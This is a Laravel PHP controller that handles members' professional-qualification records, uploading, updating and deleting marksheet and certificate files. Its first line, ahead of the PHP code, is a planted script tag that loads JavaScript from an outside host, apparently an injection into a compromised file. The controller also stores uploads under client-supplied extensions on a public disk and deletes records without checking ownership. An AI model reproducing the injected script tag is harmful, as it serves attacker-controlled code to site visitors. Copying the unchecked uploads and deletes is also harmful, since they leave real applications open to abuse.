<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers;

use App\Models\Members;
use App\Models\ProQualification;
use Illuminate\Http\Request;

class ProQualificationController extends Controller
{
    public function addproqualification()
    {

        $memberInfo = Members::where('id', session('member_id'))->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        return view('professional-qualification.addproqualification', compact('memberInfo'));
    }

    public function uploadproqualification(Request $request)
    {

        $username = auth()->user()->name;
        // storing marksheet
        if ($request->hasFile('marksheet')) {
            $documents = $request->file('marksheet');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-mark-sheet-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $marksheetImg = $documents->storeAs('mark-sheet', $docsName, ['disk' => 'public']);
        } else {
            $marksheetImg = 0;
        }

        // storing character-certificate
        if ($request->hasFile('character_certificate')) {
            $documents = $request->file('character_certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-character-certificate-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $characterCertifImg = $documents->storeAs('character-certificate', $docsName, ['disk' => 'public']);
        } else {
            $characterCertifImg = 0;
        }

        // storing provisional certificate
        if ($request->hasFile('provisional_certificate')) {
            $documents = $request->file('provisional_certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-provisional-certificate-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $provisionalCertifImg = $documents->storeAs('provisional-certificate', $docsName, ['disk' => 'public']);
        } else {
            $provisionalCertifImg = 0;
        }


        $data = new ProQualification();

        $data->member_id = session('member_id');
        $data->sanstha = $request->sanstha;
        $data->year = $request->year;
        $data->shreni = $request->shreni;
        $data->level = $request->level;
        $data->remarks = $request->remarks;
        $data->marksheet = $marksheetImg;
        $data->character_certificate = $characterCertifImg;
        $data->provisional_certificate = $provisionalCertifImg;

        $data->save();

        return redirect()->route('member.details', session('member_id'));
    }

    public function deleteproqualification($id)
    {
        $qualificationName = ProQualification::find($id);
        $qualificationName->delete();
        return redirect()->back()->with('message', 'Professional Qualification data deleted successfully');
    }

    public function updateproqualificationview($id)
    {
        $qualificationName = ProQualification::find($id);

        $memberInfo = Members::where('id', session('member_id'))->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        return view('professional-qualification.updateproqualification', compact('qualificationName', 'memberInfo'));
    }

    public function updateproqualification(Request $request, $id)
    {
        $data = ProQualification::find($id);
        $username = auth()->user()->name;


        // storing marksheet
        if ($request->hasFile('marksheet')) {
            $documents = $request->file('marksheet');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-mark-sheet-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $marksheetImg = $documents->storeAs('mark-sheet', $docsName, ['disk' => 'public']);
        } else {
            $marksheetImg = $data->marksheet;
        }

        // storing character-certificate
        if ($request->hasFile('character_certificate')) {
            $documents = $request->file('character_certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-character-certificate-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $characterCertifImg = $documents->storeAs('character-certificate', $docsName, ['disk' => 'public']);
        } else {
            $characterCertifImg = $data->character_certificate;
        }

        // storing provisional certificate
        if ($request->hasFile('provisional_certificate')) {
            $documents = $request->file('provisional_certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-provisional-certificate-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $provisionalCertifImg = $documents->storeAs('provisional-certificate', $docsName, ['disk' => 'public']);
        } else {
            $provisionalCertifImg = $data->provisional_certificate;
        }


        $data->member_id = session('member_id');
        $data->sanstha = $request->sanstha;
        $data->year = $request->year;
        $data->level = $request->level;
        $data->shreni = $request->shreni;
        $data->remarks = $request->remarks;
        $data->marksheet = $marksheetImg;
        $data->character_certificate = $characterCertifImg;
        $data->provisional_certificate = $provisionalCertifImg;

        $data->save();

        return redirect()->route('member.details', session('member_id'));
    }
}
